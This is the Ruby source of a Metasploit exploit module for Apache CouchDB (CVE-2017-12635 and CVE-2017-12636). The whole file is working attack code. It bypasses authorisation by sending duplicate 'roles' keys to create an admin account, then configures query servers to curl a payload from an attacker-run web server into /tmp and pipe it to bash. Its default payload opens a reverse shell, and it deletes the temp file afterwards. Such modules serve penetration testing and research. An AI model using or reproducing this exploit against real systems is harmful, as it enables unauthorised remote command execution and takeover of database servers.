373 lines
12 KiB
Ruby
373 lines
12 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::HttpServer
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Apache Couchdb Arbitrary Command Execution',
|
|
'Description' => %q{
|
|
CouchDB administrative users can configure the database server via HTTP(S).
|
|
Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.
|
|
This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,
|
|
including downloading and executing scripts from the public internet.
|
|
},
|
|
'Author' => [
|
|
'Max Justicz', # CVE-2017-12635 Vulnerability discovery
|
|
'Joan Touzet', # CVE-2017-12636 Vulnerability discovery
|
|
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
|
|
],
|
|
'References' => [
|
|
[ 'CVE', '2017-12636'],
|
|
[ 'CVE', '2017-12635'],
|
|
[ 'URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
|
|
[ 'URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'],
|
|
[ 'URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E']
|
|
],
|
|
'DisclosureDate' => 'Apr 6 2016',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Privileged' => false,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 4096, # Has into account Apache request length and base64 ratio
|
|
'DisableNops' => true
|
|
},
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/unix/reverse_bash'
|
|
},
|
|
'Targets' => [
|
|
['Automatic', {} ]
|
|
],
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options([
|
|
Opt::RPORT(5984),
|
|
OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']),
|
|
OptString.new('HttpUsername', [false, 'The username to login as']),
|
|
OptString.new('HttpPassword', [false, 'The password to login with'])
|
|
])
|
|
register_advanced_options(
|
|
[
|
|
OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.'])
|
|
])
|
|
end
|
|
|
|
def check
|
|
|
|
version = get_version
|
|
|
|
case
|
|
when !version
|
|
return Exploit::CheckCode::Unknown
|
|
when version < '1.7.0'
|
|
return Exploit::CheckCode::Appears
|
|
when version.between?('2.0.0','2.1.0')
|
|
return Exploit::CheckCode::Appears
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
end
|
|
|
|
def exploit
|
|
@exploit_flag = false
|
|
version = get_version
|
|
|
|
vprint_good("#{peer} - Authorization bypass successful") if auth_bypass
|
|
|
|
start_http_server
|
|
|
|
if !datastore['Attempts'] || datastore['Attempts'] == 0
|
|
attempts = 1
|
|
else
|
|
attempts = datastore['Attempts']
|
|
end
|
|
|
|
attempts.times do |i|
|
|
print_status("#{peer} - The #{i+1} time to exploit")
|
|
send_payload(version)
|
|
Rex.sleep(5)
|
|
# break if we get the shell
|
|
break if @exploit_flag
|
|
end
|
|
end
|
|
|
|
# CVE-2017-12635
|
|
# The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON,
|
|
# the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization
|
|
# for the newly created user.
|
|
def auth_bypass
|
|
|
|
username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(rand(8) + 4)
|
|
password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(rand(8) + 4)
|
|
@auth = basic_auth(username, password)
|
|
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"),
|
|
'method' => 'PUT',
|
|
'ctype' => 'application/json',
|
|
'data' => %Q{{"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"}}
|
|
)
|
|
|
|
if res && res.code == 200 && res.get_json_document['ok']
|
|
return true
|
|
else
|
|
return false
|
|
end
|
|
|
|
end
|
|
|
|
def get_version
|
|
version = nil
|
|
|
|
begin
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'method' => 'GET',
|
|
'authorization' => @auth
|
|
)
|
|
|
|
temp = res.get_json_document if res
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError => e
|
|
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
|
|
return version
|
|
end
|
|
|
|
unless res
|
|
print_bad("#{peer} - No response, check if it is CouchDB. ")
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - No response, check if it is CouchDB.")
|
|
end
|
|
|
|
if res && res.code == 401
|
|
print_bad("#{peer} - Authentication required.")
|
|
fail_with(Failure::NoAccess, "#{peer} - Authentication required.")
|
|
end
|
|
|
|
if res && res.code == 200
|
|
if temp['version']
|
|
version = temp['version']
|
|
else
|
|
vprint_warning("#{peer} - Version not found")
|
|
end
|
|
end
|
|
|
|
version
|
|
|
|
end
|
|
|
|
def send_payload(version)
|
|
vprint_status("#{peer} - version is #{version}") if version
|
|
|
|
case
|
|
when version < '1.7.0'
|
|
payload1
|
|
when version.between?('2.0.0','2.1.0')
|
|
payload2
|
|
when version >= '1.7.0' || version > '2.1.0'
|
|
fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")
|
|
else
|
|
# Version not found, try randomly payload
|
|
vprint_warning("#{peer} - Cannot retrive the version, exploiting randomly...")
|
|
send([:payload1,:payload2].sample)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
# Exploit with multi requests
|
|
# payload1 is for the version of couchdb below 1.7.0
|
|
def payload1
|
|
|
|
rand_cmd1 = Rex::Text.rand_text_alpha_lower(rand(8) + 4)
|
|
rand_cmd2 = Rex::Text.rand_text_alpha_lower(rand(8) + 4)
|
|
rand_db = Rex::Text.rand_text_alpha_lower(rand(8) + 4)
|
|
rand_doc = Rex::Text.rand_text_alpha_lower(rand(8) + 4)
|
|
rand_hex = Rex::Text.rand_text_hex(32)
|
|
rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(rand(8) + 8)
|
|
@file_to_clean = rand_file
|
|
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"),
|
|
'method' => 'PUT',
|
|
'authorization' => @auth,
|
|
'data' => %Q{"curl #{@service_url} > #{rand_file}"}
|
|
|
|
)
|
|
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),
|
|
'method' => 'PUT',
|
|
'authorization' => @auth
|
|
)
|
|
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
|
|
'method' => 'PUT',
|
|
'authorization' => @auth,
|
|
'data' => %Q{{"_id": "#{rand_hex}"}}
|
|
)
|
|
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
|
|
'method' => 'POST',
|
|
'authorization' => @auth,
|
|
'ctype' => 'application/json',
|
|
'data' => %Q{{"language":"#{rand_cmd1}","map":""}}
|
|
)
|
|
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"),
|
|
'method' => 'PUT',
|
|
'authorization' => @auth,
|
|
'data' => %Q{"cat #{rand_file}|bash"}
|
|
)
|
|
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
|
|
'method' => 'POST',
|
|
'authorization' => @auth,
|
|
'ctype' => 'application/json',
|
|
'data' => %Q{{"language":"#{rand_cmd2}","map":""}}
|
|
)
|
|
end
|
|
|
|
# payload2 is for the version of couchdb below 2.1.1
|
|
def payload2
|
|
|
|
rand_cmd1 = Rex::Text.rand_text_alpha_lower(rand(8) + 4)
|
|
rand_cmd2 = Rex::Text.rand_text_alpha_lower(rand(8) + 4)
|
|
rand_db = Rex::Text.rand_text_alpha_lower(rand(8) + 4)
|
|
rand_doc = Rex::Text.rand_text_alpha_lower(rand(8) + 4)
|
|
rand_tmp = Rex::Text.rand_text_alpha_lower(rand(8) + 4)
|
|
rand_hex = Rex::Text.rand_text_hex(32)
|
|
rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(rand(8) + 8)
|
|
|
|
@file_to_clean = rand_file
|
|
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, "/_membership"),
|
|
'method' => 'GET',
|
|
'authorization' => @auth
|
|
)
|
|
node = res.get_json_document['all_nodes'][0]
|
|
|
|
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"),
|
|
'method' => 'PUT',
|
|
'authorization' => @auth,
|
|
'data' => %Q{"curl #{@service_url} > #{rand_file}"}
|
|
|
|
)
|
|
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),
|
|
'method' => 'PUT',
|
|
'authorization' => @auth
|
|
)
|
|
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
|
|
'method' => 'PUT',
|
|
'authorization' => @auth,
|
|
'data' => %Q{{"_id": "#{rand_hex}"}}
|
|
)
|
|
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
|
|
'method' => 'PUT',
|
|
'authorization' => @auth,
|
|
'ctype' => 'application/json',
|
|
'data' => %Q{{"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"}}
|
|
)
|
|
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"),
|
|
'method' => 'PUT',
|
|
'authorization' => @auth,
|
|
'data' => %Q{"cat #{rand_file}|bash"}
|
|
|
|
)
|
|
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
|
|
'method' => 'PUT',
|
|
'authorization' => @auth,
|
|
'ctype' => 'application/json',
|
|
'data' => %Q{{"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"}}
|
|
)
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
if (not @pl)
|
|
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
|
|
return
|
|
end
|
|
|
|
vprint_status("request headers is #{request.headers['User-Agent']}") if request.headers['User-Agent']
|
|
|
|
if request.headers['User-Agent'] !~ /curl/
|
|
print_status("Sending 404 for User-Agent #{request.headers['User-Agent']}")
|
|
send_not_found(cli)
|
|
return
|
|
end
|
|
|
|
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
|
|
send_response(cli, @pl)
|
|
|
|
end
|
|
|
|
def start_http_server
|
|
@pl = payload.encoded
|
|
|
|
resource_uri = datastore['URIPATH'] || random_uri
|
|
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
|
|
srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
|
|
else
|
|
srv_host = datastore['SRVHOST']
|
|
end
|
|
|
|
# do not use SSL for the attacking web server
|
|
if datastore['SSL']
|
|
ssl_restore = true
|
|
datastore['SSL'] = false
|
|
end
|
|
|
|
@service_url = "http://#{srv_host}:#{datastore['SRVPORT']}/#{resource_uri}"
|
|
service_url_payload = srv_host + resource_uri
|
|
vprint_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
|
|
start_service({'Uri' => {
|
|
'Proc' => Proc.new { |cli, req|
|
|
on_request_uri(cli, req)
|
|
},
|
|
'Path' => resource_uri
|
|
}})
|
|
datastore['SSL'] = true if ssl_restore
|
|
connect
|
|
end
|
|
|
|
# mark the exploit successful and clean temp file created during exploiting
|
|
def on_new_session(client)
|
|
# mark flag be true to stop exploit.
|
|
@exploit_flag = true
|
|
vprint_status("Cleaning temp file #{@file_to_clean}")
|
|
begin
|
|
client.shell_command_token("rm #{@file_to_clean}")
|
|
vprint_good("Cleaned temp file successful.")
|
|
rescue
|
|
print_warning("Need to clean the temp file #{@file_to_clean} manually.")
|
|
end
|
|
end
|
|
|
|
end
|